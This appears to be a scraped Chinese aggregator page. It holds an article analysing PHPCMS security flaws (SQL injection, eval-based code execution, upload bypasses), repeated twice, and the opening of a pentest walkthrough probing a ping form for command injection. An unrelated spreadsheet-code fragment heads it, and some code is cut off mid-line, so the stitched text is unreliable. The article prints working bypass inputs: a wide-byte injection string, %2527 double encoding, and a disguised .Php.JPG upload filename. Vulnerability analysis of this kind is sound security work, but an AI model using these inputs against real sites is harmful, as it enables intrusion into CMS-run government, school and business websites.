<p>iconset() {<br /> var activeSheet = this.activeSheet;<br /> var iconSetRule = new GC.Spread.Sheets.ConditionalFormatting.IconSetRule();<br /> // 演示demo先写死区域<br /> iconSetRule.ranges([new GC.Spread.Sheets.Range(0,0, 5, 5)]);<br /> // IconSetType图标志的类型:箭头,圆圈和execl 打通的,excel有哪些这这边就支持哪些<br /> iconSetRule.iconSetType(GC.Spread.Sheets.ConditionalFormatting.IconSetType.threeArrowsColored);<br /> var iconCriteria = iconSetRule.iconCriteria();<br /> iconCriteria[0] = new GC.Spread.Sheets.ConditionalFormatting.IconCriterion(<br /> true,<br /> GC.Spread.Sheets.ConditionalFormatting.IconValueType.number, <br /> 60<br /> );//(
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 60 次浏览 • 2022-06-20 19:24
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
php抓取网页数据插入数据库 外壳坚硬的谷子
网站优化 • 优采云 发表了文章 • 0 个评论 • 83 次浏览 • 2022-06-20 19:09
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
